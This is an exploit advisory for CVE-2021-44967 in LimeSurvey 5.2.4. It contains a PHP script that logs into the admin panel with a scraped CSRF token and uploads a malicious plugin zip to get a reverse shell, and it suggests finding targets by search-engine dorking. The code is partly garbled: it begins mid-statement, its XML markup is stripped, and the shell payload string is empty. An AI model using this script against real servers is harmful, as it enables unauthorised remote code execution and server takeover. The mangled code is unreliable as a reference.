============================================================================================================================================= | # Title : LimeSurvey 5.2.4 reverse shell Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits) | | # Vendor : https://www.limesurvey.org/ | ============================================================================================================================================= POC : [+] Dorking İn Google Or Other Search Enggine. [+] Code Description: This script is used to exploit vulnerability in LimeSurvey to load a malicious PHP plugin and execute a reverse shell. (Related : https://packetstorm.news/files/id/189288/ Related CVE numbers: CVE-2021-44967 ) . [+] save code as poc.php. [+] Set TArget : line 112 [+] Usage : php poc.php [+] PayLoad : [ 'verify_peer' => false, 'verify_peer_name' => false, ] ]); // إعدادات الملحق الخبيث $plugin_name = "ExploitRCE_" . rand(1000, 9999); $date = date("Y-m-d"); $xml_config = "\n"; $xml_config .= "\n"; $xml_config .= " \n"; $xml_config .= " $plugin_name\n"; $xml_config .= " plugin\n"; $xml_config .= " $date\n"; $xml_config .= " $date\n"; $xml_config .= " 1.0\n"; $xml_config .= " \n"; $xml_config .= " \n"; $xml_config .= " 3.0\n"; $xml_config .= " 4.0\n"; $xml_config .= " 5.0\n"; $xml_config .= " 6.0\n"; $xml_config .= " 7.0\n"; $xml_config .= " \n"; $xml_config .= ""; // دالة تسجيل الدخول إلى LimeSurvey function limesurvey_authenticate($url, $username, $password) { echo "[*] محاولة تسجيل الدخول...\n"; $login_url = "$url/index.php/admin/authentication/sa/login"; $login_page = file_get_contents($login_url, false, $GLOBALS['context']); preg_match('/name=\"YII_CSRF_TOKEN\" value=\"(.*?)\"/', $login_page, $matches); $csrf_token = $matches[1] ?? ''; $data = http_build_query([ "YII_CSRF_TOKEN" => $csrf_token, "authMethod" => "Authdb", "user" => $username, "password" => $password, "login_submit" => "login" ]); $options = [ "http" => [ "method" => "POST", "header" => "Content-type: application/x-www-form-urlencoded", "content" => $data, ] ]; $result = file_get_contents($login_url, false, stream_context_create($options)); if (strpos($result, '/index.php/admin/index') !== false) { echo "[+] تسجيل الدخول ناجح!\n"; } else { echo "[-] فشل تسجيل الدخول\n"; exit(); } } // رفع وتنفيذ الحمولة الخبيثة function upload_payload($url, $plugin_name, $payload) { echo "[*] رفع الحمولة الخبيثة...\n"; $upload_url = "$url/index.php/admin/pluginmanager?sa=upload"; $boundary = "----WebKitFormBoundary" . md5(time()); $data = "--$boundary\r\n"; $data .= "Content-Disposition: form-data; name=\"the_file\"; filename=\"$plugin_name.zip\"\r\n"; $data .= "Content-Type: application/zip\r\n\r\n"; $data .= $payload . "\r\n"; $data .= "--$boundary--\r\n"; $options = [ "http" => [ "method" => "POST", "header" => "Content-Type: multipart/form-data; boundary=$boundary", "content" => $data, ] ]; $result = file_get_contents($upload_url, false, stream_context_create($options)); if (strpos($result, 'sa=uploadConfirm') !== false) { echo "[+] رفع الحمولة ناجح!\n"; } else { echo "[-] فشل في رفع الحمولة\n"; exit(); } } // إعداد الحمولة الخبيثة $payload = ""; $zip = new ZipArchive(); $zip_file = tempnam(sys_get_temp_dir(), "exploit") . ".zip"; $zip->open($zip_file, ZipArchive::CREATE); $zip->addFromString("config.xml", $xml_config); $zip->addFromString("payload.php", $payload); $zip->close(); $payload_data = file_get_contents($zip_file); unlink($zip_file); // تنفيذ الاستغلال $url = "http://target-limesurvey.com"; // استبدل بعنوان الهدف $username = "admin"; $password = "password"; limesurvey_authenticate($url, $username, $password); upload_payload($url, $plugin_name, $payload_data); echo "[*] تم تنفيذ الاستغلال بنجاح!\n"; Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================